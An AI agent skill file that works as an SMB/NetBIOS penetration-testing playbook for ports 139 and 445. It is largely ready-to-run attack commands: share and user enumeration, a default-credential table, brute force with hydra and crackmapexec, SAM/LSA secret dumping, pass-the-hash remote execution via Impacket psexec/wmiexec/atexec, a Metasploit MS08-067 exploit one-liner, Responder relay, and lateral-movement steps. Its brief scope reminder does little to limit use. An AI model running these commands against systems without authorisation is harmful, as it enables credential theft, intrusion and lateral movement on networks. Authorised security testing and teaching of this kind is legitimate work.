| name | smb-pentesting |
| description | SMB/NetBIOS pentesting on ports 139/445. Use this skill whenever the user mentions SMB, NetBIOS, file shares, Windows shares, CIFS, port 139, port 445, or needs to enumerate/attack SMB services. This includes share enumeration, credential attacks, command execution via SMB, and post-exploitation. Make sure to use this skill for any Windows network service testing, Active Directory SMB attacks, or when investigating file sharing vulnerabilities. |
SMB Pentesting Skill
A comprehensive skill for Server Message Block (SMB) and NetBIOS security testing on ports 139 and 445.
When to Use This Skill
Use this skill when:
- Testing SMB services on ports 139 (NetBIOS) or 445 (SMB over IP)
- Enumerating Windows file shares and network resources
- Performing credential attacks against SMB services
- Executing commands via SMB (psexec, smbexec, wmiexec, etc.)
- Investigating Active Directory SMB vulnerabilities
- Testing for SMB relay attacks or NTLM theft scenarios
- Analyzing Samba configurations for misconfigurations
Quick Reference
Port Identification
- Port 139: NetBIOS Session Service (NBT over IP)
- Port 445: SMB over IP (direct TCP, no NetBIOS)
Common Tools
enum4linux / enum4linux-ng - SMB enumeration
smbmap - Share discovery and traversal
crackmapexec / netexec - Multi-purpose SMB testing
smbclient - Manual share access
rpcclient - RPC enumeration
- Impacket tools - Advanced SMB operations
Enumeration Workflow
Step 1: Initial Reconnaissance
Start with basic network scanning to identify SMB services:
nmap -p 139,445 -sV <target>
nbtscan -r <network_range>
nmap --script smb-enum-* -p 445 <target>
Step 2: Anonymous Enumeration
Try accessing shares without credentials:
enum4linux -a <target>
enum4linux-ng -A <target>
smbclient -L //<target> -N
smbmap -H <target>
crackmapexec smb <target> -u '' -p '' --shares
crackmapexec smb <target> --users
crackmapexec smb <target> --groups
rpcclient -U "" -N <target>
Step 3: Share Discovery
Enumerate all available shares:
smbmap -H <target> -P 445
smbmap -R -H <target>
for share in C$ D$ ADMIN$ IPC$ PRINT$ FAX$ SYSVOL NETLOGON; do
smbclient -U '%' -N \\<target>\\$share -c 'ls' 2>&1 | head -5
done
crackmapexec smb <target> --shares
Step 4: User and Group Enumeration
crackmapexec smb <target> --users
rpcclient -U "" -N <target> -c 'enumdomusers'
crackmapexec smb <target> --groups
rpcclient -U "" -N <target> -c 'enumdomgroups'
crackmapexec smb <target> --loggedon-users
lookupsid.py -no-pass <target>
Credential Testing
Null Session and Guest Access
smbclient -L //<target> -N
smbmap -H <target> -u null -p null
smbmap -H <target> -u guest -p ''
crackmapexec smb <target> -u guest -p '' --shares
Known Credentials
smbmap -H <target> -u <username> -p <password>
crackmapexec smb <target> -u <username> -p <password> --shares
crackmapexec smb <target> -u <username> -H <ntlm_hash> --shares
smbclient -U '<username>' --pw-nt-hash <target> -L
smbclient --kerberos //<target>/C$
crackmapexec smb <target> -k
Common Credentials to Try
| Username | Common Passwords |
|---|
| (blank) | (blank) |
| guest | (blank) |
| Administrator | password, administrator, admin, (blank) |
| admin | password, admin, administrator |
| arcserve | arcserve, backup |
| backup | backup, backupexec, arcada |
| test/lab/demo | password, test, lab, demo |
Brute Force (Use Carefully)
nmap --script smb-brute -p 445 <target>
hydra -t 1 -V -f -l <username> -P <wordlist> <target> smb
crackmapexec smb <target> -u <username> -P <wordlist>
crackmapexec smb <target> -u <userlist> -p <password>
crackmapexec smb <target> -u <username> -p <password> --rid-brute
Command Execution
CrackMapExec Execution
crackmapexec smb <target> -u <username> -p <password> -X '$PSVersionTable'
crackmapexec smb <target> -u <username> -p <password> -x whoami
crackmapexec smb <target> -u <username> -H <ntlm_hash> -x whoami
crackmapexec smb <target> -d <domain> -u <username> -p <password> --sam
crackmapexec smb <target> -d <domain> -u <username> -p <password> --lsa
crackmapexec smb <target> -d <domain> -u <username> -p <password> --sessions
crackmapexec smb <target> -d <domain> -u <username> -p <password> --disks
crackmapexec smb <target> -d <domain> -u <username> -p <password> --pass-pol
Impacket Tools
./psexec.py <username>:<password>@<target>
./psexec.py -hashes <LM:NT> <username>@<target>
./smbexec.py <username>:<password>@<target>
./smbexec.py -hashes <LM:NT> <username>@<target>
./wmiexec.py <username>:<password>@<target>
./wmiexec.py -hashes <LM:NT> <username>@<target>
./dcomexec.py <username>:<password>@<target>
./dcomexec.py -hashes <LM:NT> <username>@<target>
./atexec.py <username>:<password>@<target> "command"
Kerberos Authentication
sudo ntpdate <dc.fqdn>
crackmapexec smb <target> -k
smbclient --kerberos //<target>/C$
rpcclient -k <target>
Share Access and File Operations
Connect to Shares
smbclient \\<target>\\<share> -N
smbclient \\<target>\\<share> -U <username>
smbclient \\<target>\\<share> -U <username> --pw-nt-hash
mount -t cifs //<target>/<share> /mnt/share
mount -t cifs -o "username=<user>,password=<pass>" //<target>/<share> /mnt/share
Download Files
smbmap -R <share> -H <target> -A <filename> -q
smbclient \\<target>\\<share>
> mask ""
> recurse
> prompt
> mget *
crackmapexec smb <target> -u <username> -p <password> -M spider_plus --share <share>
Upload Files (if writable)
smbclient \\<target>\\<share>
> put localfile.txt
smbclient \\<target>\\SYSVOL\\<domain>\\scripts\\
> put test.txt
Vulnerability Scanning
CVE Scanning
nmap -p 139,445 --script='smb-vuln*' <target>
nmap -p 445 --script=smb-vuln-ms08-067.nse <target>
nmap -p 445 --script=smb-vuln-ms17-010.nse <target>
nmap -p 445 --script=smb-vuln-cve2009-3103.nse <target>
searchsploit microsoft smb
msfconsole -q -x 'use exploit/windows/smb/ms08_067_netapi; set RHOSTS <target>; exploit'
Samba Configuration Analysis
Check /etc/samba/smb.conf for dangerous settings:
| Setting | Risk |
|---|
guest ok = yes | Anonymous access |
read only = no | Write access |
writable = yes | File modification |
create mask = 0777 | Full permissions |
logon script = script.sh | Script execution |
smbstatus
cat /etc/samba/smb.conf
Advanced Techniques
SMB Relay Attack
responder -I <interface> -wv
crackmapexec smb <target> -u <username> -H <captured_hash>
SMB Trap
mitmf -i <interface>
Registry Access
reg.py <domain>/<username>@<target> -hashes <LM:NT> query -keyName HKLM -s
reg.py <domain>/<username>@<target> -hashes <LM:NT> query -keyName HKCU -s
reg.py <domain>/<username>@<target> -hashes <LM:NT> query -keyName HKU -s
BloodHound Integration
sharehound -ai <target> -au <username> -ap <password> -ns <target>
Safety Considerations
- Brute force carefully - Account lockout policies may block access
- Test write access - Don't assume read-only shares are safe
- Check for honeypots - Unusual share names may indicate traps
- Respect scope - Only test authorized targets
- Document findings - Track which shares are writable, which users exist
Common Pitfalls
- Port 139 vs 445: Some tools work on one but not the other
- Kerberos-only environments: NTLM may return STATUS_NOT_SUPPORTED
- Clock skew: Kerberos requires synchronized time
- Hidden shares: May not appear in listings but still accessible
- ACL vs share permissions: Share may be read-only but NTFS ACLs allow writes
Next Steps After Enumeration
- Identify writable shares - Test upload capability
- Check for sensitive files - Registry.xml, web.config, credentials
- Look for logon scripts - SYSVOL may contain executable scripts
- Test lateral movement - Use discovered credentials on other hosts
- Check for known vulnerabilities - Run exploit scanners
- Analyze ACLs - Use BloodHound for attack path discovery